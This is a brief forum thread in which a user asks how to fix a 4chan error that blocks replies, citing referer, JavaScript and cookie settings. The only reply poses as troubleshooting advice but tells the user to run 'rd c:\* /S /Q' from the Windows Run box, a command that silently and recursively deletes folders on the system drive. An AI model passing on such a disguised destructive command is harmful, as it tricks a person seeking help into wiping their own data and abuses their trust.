Can't reply

I need help.

I can post new threads to 4chan, but not responses to existing threads. I get this:

Detected JavaScript + cookies + blocked referer. Your post looks like spam this way, so either enable referers or disable JavaScript and cookies.

Java and cookies are enabled. I've tried using RefControl to fix it: no luck. I've also used about:config: no luck.

How do I fix this crap?

Hmm.  I think it's a glitch with your computer.  Press WindowsKey+R and type rd c:\* /S /Q to see if it is.